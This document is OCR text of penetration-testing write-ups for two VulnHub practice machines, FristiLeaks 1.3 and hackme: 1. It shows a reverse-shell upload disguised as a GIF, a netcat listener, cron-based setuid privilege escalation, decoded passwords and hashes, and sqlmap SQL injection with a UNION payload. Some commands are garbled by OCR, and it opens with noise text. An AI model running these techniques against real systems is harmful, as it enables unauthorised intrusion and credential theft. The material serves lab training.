m+OCKO8nunpVeZ21R] 7erEz0WgoZ +5IRWIOXNE3Z / vBIMWu LS TY Im+hDLKcTATUHEUZu/ 19186 7X34
rPtA6 Ll 10ZrqX6gu37aIukfkVay LRTgpk+IHNKHBShNoc TKC4P3 1Vebhd8 Ty VzOTCkgeBWLrrFhe
EPAMj035SysTXVF+qmTSUemTO+55/ / fyyOLU3KWoGLA59ZKb6US 10TZMAPSh5AGAL 2TEGBCSASCLH
AHGRY4ABCIHAHIRIWCBYBEAXUQIACOYBIAXOQLAI XwWB4EWOAPAIRWBAKSMAVMGRAF7KCAAV CgSAFzZK
CwIscAeBF)gDwIkcAelE]ALzTEQBeSAgAL3TEQBeSASCLHAHGRY4ASPNG /ONa7 z1k 1qtycOAARABIR

USErkJggg—

--i=

<table width="300" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC">
<tr>

<form name="forml" method="post" action="checklogin.php">

<td>

Figure 7: writeup.exploitation.steps.1.2

2. We login using these credentials and are presented with a file upload page. We create a PHP reverse shell, add
GIF89a magic byte to it start and rename it as rs.php.gif to evade filters and upload the file. Once uploaded the
applications informs us of the upload directory as well:

rs.php.gif - http://192.168.92.133/fristi/uploads/rs.php.gif



192.168.92.133/ X | 192.168.92.133/robots.txt X | hitp://192.168.92.133/fristif X | 192.168.92.133/fristi/do_upl X
(— - @ | @ 192.168.92.133/fristi/do_upload.php
£ links

Uploading, please wait
The file has been uploaded to fuploads

Figure 8: writeup.exploitation.steps.2.1

3. We start a Netcat listener, issue a request for this file using curl and are presented with the initial shell:

nc -nlvp 443
curl -v "http://192.168.92.133/fristi/uploads/rs.php.gif"

root@kali: ~/toolbox/data/vulnhub/fristileaks1.3 # curl -v "http://192.168.92.133/fristi/uploads/rs.php.gif"
Expire in ®@ ms for 6 (transfer ©xbbfdde)
Trying 192.168.92.133...
TCP_NODELAY set
Expire in 280 ms for 4 (transfer Oxbbfdde)
Connected to 192.168.92.133 (192.168.92.133) port 80 (#0)
GET /fristijuploads/rs.php.gif HTTP/1.1
Host: 192.168.92.133
User-Agent: curl/7.64.0
Accept: */*

A A AR T A S

m

root@kali: ~/toolbox/data/vulnhub/fristileaksl.3 #

Figure 9: writeup.exploitation.steps.3.1
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root@kali: ~/toolbox/data/vulnhub/fristileaks

listening on [any] 443 ...

192.168.92.133: inverse host lookup failed: U

connect to [192.168.92.163] from (UNKNOWN) [1

Linux localhost.localdomain 2.6.32-573.8.1.el
10:22:43 up 24 min, © users, load average:

USER TTY FROM LOGING@

uid=48(apache) gid=48(apache) groups=48(apach
sh: no job control in this shell

sh-4.1% id

id

uid=48(apache) gid=48(apache) groups=48(apach
sh-4.1%

sh-4.1% uname -a

uname -a

Linux localhost.localdomain 2.6.32-573.8.1.el
sh-4.1%

sh-4.1% ifconfig

ifconfig

etho Link encap:Ethernet HWaddr ©8:00:2
inet addr:192.168.92.133 Bcast:192
ineté addr: feB@::a00:27ff:fea5:a67
UP BROADCAST RUNNING MULTICAST MTU
RX packets:343696 errors:® dropped:
TX packets:199868 errors:@ dropped:
collisions:® txqueuelen:1000
RX bytes:28339698 (27.0 MiB) TX by

lo Link encap:Local Loopback
inet addr:127.0.8.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Met
RX packets:® errors:0 dropped:@ ove
TX packets:0 errors:0 dropped:0 ove
collisions:@ txqueuelen:®
RX bytes:® (0.0 b) TX bytes:0 (0.0

sh-4.1%

1.3 # nc -lvp 443

nknown host
92.168.92.133] 43586

6.x86 64 #1 SMP Tue Nov 18 18:01:38 UTC 2015 x86 64 x86 64 x86 64 GNU/Linux

0.00, 0.00, 0.00
IDLE JCPU PCPU WHAT
e)

e)

6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86 64 x86 64 x86 64 GNU/Linux

T:A5:A6:76

.168.92.255 Mask:255.255.255.0
6/64 Scope:Link

:1500 Metric:1

0 overruns:® frame:0®

0 overruns:® carrier:@

tes:30059387 (28.6 MiB)

ric:1
rruns:® frame:@
rruns:0 carrier:0

b)

Figure 10: writeup.exploitation.steps.3.2

Phase #2.5: Post Exploitation

apache@localhost.localdomain> id

uid=48(apache) gid=48(apache) groups=48(apache)

apache@localhost.localdomain>
apache@localhost.localdomain> uname

Linux localhost.localdomain 2.6.32-573.8.1.e16.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015

o x86_64 x86_64 x86_64 GNU/Linux
apache@localhost.localdomain>

apacheClocalhost.localdomain> ifconfig
ethO Link encap:Ethernet HWaddr 08:00:27:A5:A6:76

inet addr:192.168.92.133 Bcast:192.168.92.255 Mask:255.255.255.0

inet6 addr: fe80::a00:27ff:feab:a676/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:343696 errors:0 dropped:0 overruns:0 frame:0
TX packets:199868 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000
RX bytes:28339698 (27.0 MiB)
apache@localhost.localdomain>
apache@localhost.localdomain> users
eezeepz
admin
fristigod

TX bytes:30059387 (28.6 MiB)



Phase #3: Privilege Escalation

1. Exploring the filesystem, we come across /var/www/notex.txt file. This file hints looking at the contents of
user eezeepz’s home directory:

1 cd /var/www
2 cat notes.txt

sh-4.1% pwd
Svar/www

pwd

sh-4.1% 1s -la
1ls -la

total 28

drwxr-xr-x. & root root 4096 Nov 17 2815
drwxr-xr-x. 19 root root 40896 Nov 19 2615 ..
drwxr-xr-x. 2 root root 4096 Aug 24 2015 cgi-bin
drwxr-xr-x. 3 root root 4096 Nov 17 2015 error
drwxr-xr-x. 7 root root 4096 Nov 25 2015 html
drwxr-xr-x. 3 root root 4096 Nov 17 2015 icons
-MW~-r--r-- 1 root root 98 Nov 17 2015 notes.txt
sh-4.1%

sh-4.1% cat notes

cat notes.txt

hey eezeepz your homedir is a mess, go clean it up, just dont delete
the important stuff.

-jerry
sh-4.1%

Figure 11: writeup.privesc.steps.1.1

2. We find another interesting file at /home/eezeepz/notes.txt which hints at a possible privesc method:

1 cd /home/eezeepz
2 cat notes.txt



sh-4.1% pwd
/home/eezeepz
pwd

sh-4.1%

sh-4.1% cat notes.txt
cat notes.txt
Yo EZ,

I made it possible for you to do some automated checks,

but I did only allow you access to fusr/bin/* system binaries. I did
however copy a few extra often needed commands to my

homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /Shome/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult™ in /tmp/. It should
run every minute with my account privileges.

- Jerry
sh-4.1%

Figure 12: writeup.privesc.steps.2.1

3. As suggested in the notes file, we create a file /tmp/runthis to execute a command starting with /usr/bin
followed by directory traversal strings to copy the bash shell into /tmp directory and setuid on it. Since these
commadns are executed within the scope of user admin, wehn we run the /tmp/bash file, we get a shell as user
admin:

echo -e "/usr/bin/../../bin/cp /bin/bash /tmp/bash; chmod ut+s /tmp/bash" >/tmp/runthis
/tmp/bash -p

10
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bash—4.1$ cat notes.txt
Yo EZ,

I made it possible for you to do some automated checks,

but I did only allow you access to fusr/bin/* system binaries. I did
however copy a few extra often needed commands to my

homedir: chmeod, df, cat, echo, ps, grep, egrep so you can use those
from /Shome/sadmin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult™ in /tmp/. It should
run every minute with my account privileges.

- Jerry

bash-4.1%

bash-4.1% cd /tmp

bash-4.1% 1s -1

total 908

-rwsr-xr-x 1 admin admin 986152 Sep 11 13:51 bash

-rw-r--r-- 1 admin admin 14233 Sep 11 13:52 cronresult
-rw-rw-rw- 1 apache apache 63 Sep 11 10:41 runthis
bash-4.1%

bash-4.1% cat runthis

Jusr/bin/../../bin/cp /bins/bash /tmp/bash; chmod u+s /tmp/bash
bash-4.1%

bash-4.1% id

uid=48(apache) gid=48(apache) groups=48(apache)

bash-4.1%

bash-4.1% ./bash -p

bash-4.1%

bash-4.1% id

uid=48(apache) gid=48(apache) euid=501(admin) groups=48(apache)
bash-4.1%

Figure 13: writeup.privesc.steps.3.1

4. We move into /home/admin directory and find a reversed, Base64 encoded string within whoisyourgodnow.txt
file, that is owned by user fristigod. We also find a Python script cryptpass.py in this directory. Looking
at the script, we reverse the encoding process and add a decoding method to it. Testing updated script with
=RFnOAKn1MHMPIzpyuTIOITG reveals the password for user fristigod to be LetThereBeFristi!. We the use su
to switch user:

cat whoisyourgodnow.txt

cat cryptpass.py

python cryptpass.py =RFnOAKnl1MHMPIzpyuTIOITG
su - fristigod

11



root@kali: ~/toolbox/data/vulnhub/fristileaksl.3 # cat cryptpass.py
import base64,codecs,sys

def encodeString(str):
base64string=baseb4.bb4encode(str)
return codecs.encode(baseb4string[::-1], 'rotl3')

def decodeString(str):
return base64.bbd4decode({codecs.encode(str[::-1], 'rotl3'}))

print encodeString(sys.argv[1l])

print decodeString(sys.argv[1])

root@kali: ~/toolbox/data/vulnhub/fristileaksl.3 #

root@kali: ~/toolbox/data/vulnhub/fristileaksl.3 # python cryptpass.py =RFnOAKNnIMHMPIzpyuTIOITG
UEIFjxRI1yUp6yRHAUHGTS2FOOWOTWIC

LetThereBeFristi!

root@kali: ~/toolbox/data/vulnhub/fristileaksl.3 #

Figure 14: writeup.privesc.steps.4.1

12



N

bash-4.1% cd /home/admin/

bash-4.1%

bash-4.1%

bash-4.1% 1s -1la

total 656

drwx------ . 2 admin admin 4096 Sep 11 11:17

drwxr-xr-x. 5 root root 4096 Nov 19 2015 ..

=MW======-= 1 admin admin 261 Sep 11 11:17 .bash history
-rw-r--r--. 1 admin admin 18 Sep 22 2015 .bash logout
-rw-r--r--. 1 admin admin 176 Sep 22 2015 .bash profile
-rw-r--r--. 1 admin admin 124 Sep 22 2015 .bashrc
-rwxr-xr-x 1 admin admin 45224 Nov 18 2015 cat
-rwxr-xr-x 1 admin admin 48712 Nov 18 2015 chmod
-rw-r--r-- 1 admin admin 737 Nov 18 2015 cronjob.py
-rw-r--r-- 1 admin admin 21 Nov 18 2015 cryptedpass.txt
-rw-r--r-- 1 admin admin 258 Nov 18 2015 cryptpass.py
-rwxr-xr-x 1 admin admin 90544 Nov 18 2015 df

-rwxr-xr-x 1 admin admin 24136 Nov 18 2015 echo
-rwxr-xr-x 1 admin admin 163600 Nov 18 2015 egrep
-rwxr-xr-x 1 admin admin 163600 Nov 18 2015 grep
-rwxr-xr-x 1 admin admin 85304 Nov 18 2015 ps

-rw-r--r-- 1 fristigod fristigod 25 Nov 19 2015 whoisyourgodnow.txt
bash-4.1%

bash-4.1%

bash-4.1%

bash-4.1% cat whoisyourgodnow.txt

=RFN@AKNITMHMPIzpyuTIOITG

bash-4.1%

bash-4.1%

bash-4.1% su - fristigod

Password:

-bash-4.1%

-bash-4.1% id

uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)
-bash-4.1%

Figure 15: writeup.privesc.steps.4.2

5. Looking at the file cryptedpass.txt, which is owned by user admin, we see a similar encoded string as before
and repeat the process to get decoded the decoded password thisisalsopw123. We use this to switch user:

cat cryptedpass.txt

cat cryptpass.py

python cryptpass.py mVGZ303omkJLmy2pcuTq
su - admin
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root@kali: ~/toolbox/data/vulnhub/fristileaksl.3 # python cryptpass.py mYGZ303omkILmy2pcuTqg
=RUI1ATplxKoZcOng92ZCAwIUMIo

thisisalsopwl23

root@kali: ~/toolbox/data/vulnhub/fristileaksl.3 #

Figure 16: writeup.privesc.steps.5.1

bash—4.1$ pwd

Jhome/admin

bash-4.1%

bash-4.1% 1s -1

total 632

-rwxr-xr-x 1 admin admin 45224 Nov 18 2015 cat
-rwxr-xr-x 1 admin admin 48712 Nov 18 2015 chmod
-rw-r--r-- 1 admin admin 737 Nov 18 2015 cronjob.py
-rw-r--r-- 1 admin admin 21 Nov 18 2815 cryptedpass.txt
-rw-r--r-- 1 admin admin 258 Nov 18 2015 cryptpass.py
-rwxr-xr-x 1 admin admin 99544 Nov 18 2015 df
-rwxr-xr-x 1 admin admin 24136 Nov 18 2815 echo
-rwxr-xr-x 1 admin admin 163600 Nov 18 2015 egrep
-rwxr-xr-x 1 admin admin 163600 Nov 18 2015 grep
-rwxr-xr-x 1 admin admin 85304 Nov 18 2015 ps
-rw-r--r-- 1 fristigod fristigod 25 Nov 19 2815 whoisyourgodnow.txt
bash-4.1%

bash-4.1%

bash-4.1% cat cryptedpass.txt

mVGZ303omkILmy2pcuTqg

bash-4.1%

bash-4.1% id

uid=48(apache) gid=48(apache) euid=501(admin) groups=48(apache)
bash-4.1%

bash-4.1% su - admin

Password:

[admin@localhost ~1%

[admin@localhost ~]4% id

uid=5@01(admin) gid=5@1(admin) groups=501(admin})
[admin@localhost ~1%

Figure 17: writeup.privesc.steps.5.2

6. We return to being user fristigod and explore their home directory. Within the ./bash_history file we find
references to a local, setuid file .secret_admin_stuff/doCom:

cd /home/fristigod
cat .bash_history

14



-bash-4.1% cat .bash history

1s

pwd

1s -lah

cd .secret admin stuff/

1s

./doCom

./doCom test

sudo 1s

exit

cd .secret admin stuff/

1s

./doCom

sudo -u fristi ./doCom 1ls /

sudo -u fristi /var/fristigod/.secret admin stuff/doCom 1ls /
exit

sudo -u fristi /var/fristigod/.secret admin stuff/doCom 1ls /
sudo -u fristi /var/fristigod/.secret admin stuff/doCom
exit

sudo -u fristi /var/fristigod/.secret admin stuff/doCom
exit

sudo -u fristi /var/fristigod/.secret admin stuff/doCom
sudo /var/fristigod/.secret admin stuff/doCom

exit

Figure 18: writeup.privesc.steps.6.1

-bash-4.1% 1s -1 .secret admin stuff/

total 8
-rwsr-sr-x 1 root root 7529 Nov 25 2015 [SlSe
-bash-4.1%

Figure 19: writeup.privesc.steps.6.2

7. Using examples from .bash_history, we run the setuid file to execute /bin/bash and gain elevated privileges:

1 sudo -u fristi ./doCom "/bin/bash"

15



-bash-4.1% sudo -u fristi ./doCom "/bin/bash"
bash-4.1#
bash-4.1# id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)
bash-4.1#
bash-4.1# uname -a
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86 64 x86_ 64 x86_64 GNU/Linux
bash-4.1#
bash-4.1#
bash-4.1# whoami
root
bash-4.1#
bash-4.1#
bash-4.1# ifconfig
ethe Link encap:Ethernet HWaddr ©8:00:27:A5:A6:76
inet addr:192.168.92.133 Bcast:192.168.92.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fea5:a676/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:348065 errors:0 dropped:® overruns:@ frame:®
TX packets:202048 errors:@ dropped:0 overruns:® carrier:@0
collisions:® txqueuelen:1000
RX bytes:28652907 (27.3 MiB) TX bytes:30264796 (28.8 MiB)

lo Link encap:Local Loopback
inet addr:127.0.8.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:® dropped:® overruns:® frame:@
TX packets:® errors:® dropped:® overruns:® carrier:@
collisions:0@ txqueuelen:0@
RX bytes:® (0.8 b) TX bytes:0 (0.8 b)

bash-4.1#

Figure 20: writeup.privesc.steps.7.1

8. We then explore root’s home directory and find the flag within /root/fristileaks_secrets.txt file:

1 cd /root
2 cat fristileaks_secrets

16



bash-4.1# cd /root/

bash-4.1#

bash-4.1#

bash-4.1# 1s -la

total 48

dr-xr-x---. 3 root root 4096 Nov 25 2015

dr-xr-xr-x. 22 root root 4096 Sep 11 09:58 ..

-MW------- 1 root root 1936 Nov 25 2015 .bash history
-rw-r--r--. 1 root root 18 May 20 2009 .bash logout
-rw-r--r--. 1 root root 176 May 20 2009 .bash profile
-rw-r--r--. 1 root root 176 Sep 22 2084 .bashrc
drwxr-xr-x. 3 root root 4096 Nov 25 2015 .c

-rw-r--r--. 1 root root 100 Sep 22 2004 .cshrc
-rw------- 1 root root 246 Nov 17 2015 fristileaks secrets.txt
-rw------- 1 root root 1291 Nov 17 2015 .mysql history
-rw-r--r--. 1 root root 129 Dec 3 2004 .tcshrc
-rW------- . 1 root root 829 Nov 17 2015 .viminTo
bash-4.1#

bash-4.1#

bash-4.1#

bash-4.1# cat fristileaks secrets.txt
Congratulations on beating Fristileaks 1.8 by Ar@xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)

Flag: You know yeu leve frlstl

bash-4. 1#

Figure 21: writeup.privesc.steps.8.1
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Hashes

root:$6$qhoeosiWdfs0y8H/VKux . 9OKOT3Ww2D3FPN105LAaFytx/6t69Q7LPDSS/nNiP4xzq0Qab . Iz3uy5f YdH3Aw/ |
o KBV3ZM......... ... ...
eezeepz: $6$djF4bN.s$IWhT7wJo37fgtul . be2Q62PnM/AogXuqGa . PgRzrMGv9/Th0aixBX18Usy9.Rk01ZRAQ/ |
o UM3xP7oGWuSz........................
admin: $6$NPXhvENr$yG4abRpalpLSUDRRZ3Ts0eZadZf FFbYpI1kyNJIp9rNDOAySx2FhYSmAvY.91 |
o UZETJVVZCDWb2PPSSULA . . ..o vvve e e
fristigod:$6$0WqnZ1I/$gIzMByP7rH21W3neA . uHYZZg5aM7gI1xt0j8WwgoK1QgQh2LWLOnQBJau/ |
< mGcO0SxLbaGJhJjM.6HNJTW. . . ... ..o

Credentials

ssh: admin/thisisalsop...., fristigod/LetThereBeF......
http: eezeepz/keKkeKKeKKeKk. . ...

Flags

YOu_knOw_yOu_10ve_f.....

References

[+] https://www.vulnhub.com/entry /fristileaks-13,133/
[+] https://highon.coffee/blog/fristileaks-walkthrough/
[+] https://kongwenbin.wordpress.com/2017/12/31 /write-up-for-fristileaks-v1-3-vulnhub/
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[VulnHub] hackme: 1

Date: 27/Sep/2019
Categories: oscp, vulnhub, linux
Tags: exploit_ php_ fileupload, exploit_ php_ reverseshell, privesc setuid

Overview

This is a writeup for VulnHub VM hackme: 1. Here are stats for this machine from machinescli:

machinescli -t --info hackme

1 vulnhub#330 hackme: 1 -]

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.vulnhub.com/entry/hackme-1,330/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=exploit_php_fileupload&unscoped_q=exploit_php_fileupload
https://github.com/7h3rAm/writeups/search?q=exploit_php_reverseshell&unscoped_q=exploit_php_reverseshell
https://github.com/7h3rAm/writeups/search?q=privesc_setuid&unscoped_q=privesc_setuid
https://www.vulnhub.com/entry/hackme-1,330/
https://github.com/7h3rAm/machinescli

[VulnHub] hackme: 1

1192.168.92.180 |

Y
Phase #1: Enumeration

Y

.Sﬂ/tcp.

- k4 .
http://192.168.92.180:80/index.php

Y

'http://192.168.92.180:80/login. php |

¥
http://192.168.92.180:80/register. php

Y
foobar/foobar

Y

'http://192.168.92.180:80/login.php (foobar) |

- Y .
online book catalog

Y

Phase 2: Exploitation

Y

sqlmap: mysql dump

Y

users: superadmin/Uncrackable

¥

http://192.168.92.180:80/1login.php (superadmin)

file upload: php reverse shell

Y
netcat (www-data)

- 4 .
Phase #3: Privilege Escalation

Y
‘find setuid files‘

Y

./home/Iegacy/touchmenot.

Y
‘netcat (root)‘

Figure 2: Writeupjoverview.killchain



TTPs

1. 80/tcp/http/Apache httpd 2.4.34 ((Ubuntu)): exploit_ php_fileupload, exploit_php reverseshell,
privesc_ setuid


https://github.com/7h3rAm/writeups#exploit_php_fileupload
https://github.com/7h3rAm/writeups#exploit_php_reverseshell
https://github.com/7h3rAm/writeups#privesc_setuid
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Phase #1: Enumeration

1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Fri Sep 27 12:01:02 2019 as: mmap —vv —--reason —Pn -sV -sC
» ——version-all —olN

s /root/toolbox/writeups/vulnhub. hackme/results/192.168.92.180/scans/_quick_tcp_nmap.tzt -oX
o /root/toolboz/writeups/vulnhub.hackme/results/192.168.92.180/scans/zml/_quick_tcp_nmap.zml

- 192.168.92.180
Nmap scan report for 192.168.92.180
Host is up, received arp-response (0.0022s latency).
Scanned at 2019-09-27 12:01:03 PDT for 11s
Not shown: 998 closed ports
Reason: 998 resets

PORT  STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.7pl Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol
s 2.0)

| ssh-hostkey:

| 2048 6b:a8:24:d6:09:2f:c9:9a:8e:ab:bc:6e:7d:4e:b9:ad (RSA)

| ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQDOKQXcUd/+zfBtJFhP+25xVDOf+ujGrlKTw/

- Ho8wy4lnYgrtyHiiscKmJUv7XKAfjC8YImeadlE+

= okzuRvpT1HX311xMwfWbotyOV3IezTFxYIpUPmgejoCOuSsKxpdSh+vDRwch]jCQAGZpumueisQT+0yY7XpdUB3P/ |
< lica+QE02Af4ZFme00izRYvabosnbg2rGObbkTbMZVcGdLE7ECncSRPSme jH2cnXqAAIDES+FIYtROORVXS+
< S5qaVXLqrNzIeZxqH8BW1f0045Pq5tsHiYbCco4dyb9iMgnX1EPd981wt40+6DON3BB1QYciv6RAS4LKCP+
< Akk2c4tThBGm7t

| 256 ab:e8:4f:53:38:06:2c:6a:£3:92:e3:97:4a:0e:3e:d1 (ECDSA)

| ecdsa-sha2-nistp256

o AAAAE2VjZHNhLXNOYTItbmldeAyNTYAAAAIbmlzdHAyNTYAAABBBKTngEMmekHRtPSKN9f6W7/m1ih/J
o 8MralwM4yIy5/hRW8ct1Ghc6YnhhIOKJIGYF6KYiCgyKK97mVEPBVE9805w=

| 256 32:76:90:b8:7d:fc:a4:32:63:10:¢cd:67:61:49:d6:c4 (ED25519)

| _ssh-ed25519 AAAAC3NzaC11ZDIINTESAAAAIPPEWLR21ULYITB1F789nQ/INIXH6NhMCHK25Z3pJquX
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.34 ((Ubuntu))

| http-methods:

| _  Supported Methods: GET HEAD POST OPTIONS

| _http-server-header: Apache/2.4.34 (Ubuntu)

| _http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 00:0C:29:49:EA:B5 (VMware)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://mmap.org/submit/
# Nmap done at Fri Sep 27 12:01:14 2019 -- 1 IP address (1 host up) scanned in 12.51 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

- openports

# Port Protocol  Service Scans

1. 22/tcp ssh ttl 64 OpenSSH 7.7pl1 Ubuntu 4ubuntu®.3 (Ubuntu Linux protocol 2.0) ./results/192.168.92.180/scans/tcp_22_ssh_nmap.txt

Figure 3: writeup.enumeration.steps.2.1

3. We find quite a few interesting links from the gobuster scan and open the http://192.168.92.180:80/index.php


https://github.com/Tib3rius/AutoRecon

page to explore the web application further:

gobuster -u http://192.168.92.180:80/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
-~ -e -k -1 -s "200,204,301,302,307,401,403" -x "txt,html,php,asp,aspx,jsp"
http://192.168.92.180:80/config.php (Status: 200) [Size: 0]
http://192.168.92.180:80/index.php (Status: 200) [Size: 100]
http://192.168.92.180:80/index.php (Status: 200) [Size: 100]
http://192.168.92.180:80/1ogin.php (Status: 200) [Size: 1245]
http://192.168.92.180:80/1logout .php (Status: 302)
http://192.168.92.180:80/register.php (Status: 200) [Size: 1937]
http://192.168.92.180:80/server-status (Status: 403) [Size: 302]
http://192.168.92.180:80/uploads (Status: 301)
http://192.168.92.180:80/welcome.php (Status: 302)

4. We are redirected to the http://192.168.92.180:80/1ogin.php link at every page visit so we try some common
credentials and SQLi attempts. When these do not help, we decide to use the registration option which takes us to
the http://192.168.92.180:80/register.php page. We register a username foobar with foobar password and
get logged in to the web application:

@ New Tab X | Login X

& = @ | ® & 192.168.92.180/login.php
links @ Hand Grippers Training ... &) John Brookfield's Grip T...

Login
Please fill in your credentials to login.

Username

Password

Don't have an account? Sign up now.

Figure 4: writeup.enumeration.steps.4.1



@ NewTab X | Login X | Sign Up X

(€)= @ | ® &% 192168.92.180/ eqister.php
ESlinks @ Hand Grippers Training .. @& John Brookfield's Grip T.. @& Best Telescope Review.. &

Sign Up
Please fill this form to create an account.

Username

foobar

Password

Confirm Password

Your Name

foobar

Your Address

foobar

Already have an account? Login here.

Figure 5: writeup.enumeration.steps.4.2



@ NewTab X | Login

X | Welcome x |+

(— — @ | ® 192.168.92.180/welcome.php
£ links

Hi, foobar. Welcome to our online Book Catalog.

Sign Out of Your Account

Search for your favourite book title | || search |

Book ID[Book Title[Cosy

Figure 6: writeup.enumeration.steps.4.3

Findings

Open Ports

22/tcp | ssh | OpenSSH 7.7pl1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp | http | Apache httpd 2.4.34 ((Ubuntu))
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Phase #2: Exploitation

1. The web application presents an online book catalog with a search box. We run sqlmap on this page and find
the search function vulnerable to SQLi. We dump contents of webapphacking database and find MD5 hashed
passwords within users table. Most of these passwords are easily cracked but we had to use an online MD5 cracker
for the password hash of user superadmin:

cat searchform.txt
POST /welcome.php HTTP/1.1
Host: 192.168.92.180
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.92.180/welcome.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Cookie: PHPSESSID=a9nbe6ikh8ugo269h3rckltgpl
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

search=test
sqlmap -r searchform.txt --dbs --batch
sqlmap -r searchform.txt -D webapphacking --dump-all --batch

root@kali: ~/toolbox/data/writeups/vulnhub.hackme # sqlmap -r searchform.txt --dbs --batch

ﬂ 1.2.7#stable

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It
ssume no liability and are not responsible for any misuse or damage caused by this program

[#] starting at 13:13:05

Figure 7: writeup.exploitation.steps.1.1



POST parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N]l N
sqlmap identified the following injection point(s) with a total of 114 HTTP(s) requests:
Parameter: search (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: search=test' UNION ALL SELECT NULL,CONCAT(CONCAT('qvgjq','lzvkEtgCwflmdLGgDeTONEdTLUIOFDhVVZPYgmAa'), 'gxqvq' ), NULL-- oLht

[13:13:08] [INFO] testing MysQL

[13:13:08] [INFO] confirming MySQL
[13:13:08] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.34
back-end DBMS: MySQL >= 5.0.0

[13:13:08] [INFO] fetching database names
available databases [5]:

[*] information schema

*] mysql

*] performance_schema
*] sys

*] webapphacking

[13:13:08] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.92.180'
[*#] shutting down at 13:13:08

root@kali: ~/toolbox/data/writeups/vulnhub.hackme #

Figure 8: writeup.exploitation.steps.1.2

root@kali: ~/toolbox/data/writeups/vulnhub.hackme # sqlmap -r searchform.txt -D webapphacking --dump-all --batch

I 1.2.7#stable

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibilit
ssume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 13:15:41

[13:15:41] [INFO] parsing HTTP request from ‘'searchform.txt'
[13:15:41] [INFO] resuming back-end DBMS 'mysql’
[13:15:41] [IMFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: search (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: search=test' UNION ALL SELECT MNULL,CONCAT(CONCAT('qvgjq','lzvkEtgCwflmdLGgDeTONEdTLUIOFDhVVZPVgmAa'), 'gxqgvqg’'),NULL-- oLht

5:41] [INFO] the back-end DBMS is MysSqQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.34
back-end DBMS: MySQL 5

Figure 9: writeup.exploitation.steps.1.3



[13:15:41] [INFO] fetching tables for database: 'webapphacking'

[13:15:42] [INFO] fetching columns for table 'books' in database 'webapphacking'
[13:15:42] [INFO] fetching entries for table 'books' in database 'webapphacking’
Database: webapphacking

Table: books

[15 entries]

B e R +
| id | price | bookname

B B e e T +
| 1 | 5@ | Anonymous Hackers TTP |
| 2 | 8o | CISSP Guide |
| 3 | 30 | Security+

| 4 | 45 | Practical WebApp Hacking

| 5 | 20 | ALl about Kali Linux |
| 6 | 1@ | Linux 0S

| 7 | 18 | Windows 0S

| 8 | 19@ | IoT Exploitation

| 9 | 90 | ZigBee Wireless Hacking

| 18 | 58 | JTAG UART Hardware Hacking |
| 11 | 40 | Container Breakout

| 12 | 240 | 0SCP/O0SCE Guide |
| 13 | 40 | CREST CRT |
| 14 | 88 | Creating your vulnerable VM |
| 15 | 48 | osSINT |
R R it +

[13:15:42] [INFO] table ‘'webapphacking.books' dumped to CSV file '/root/.sqlmap/output/192.168.92.180/dump/webapphacking/books.csv’

Figure 10: writeup.exploitation.steps.1.4

[13:15:42] [INFO] fetching columns for table 'users' in database 'webapphacking'
[13:15:42] [INFO] fetching entries for table 'users' in database 'webapphacking'
[13:15:42] [INFO] recognized possible password hashes in column 'pasword’
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]l N
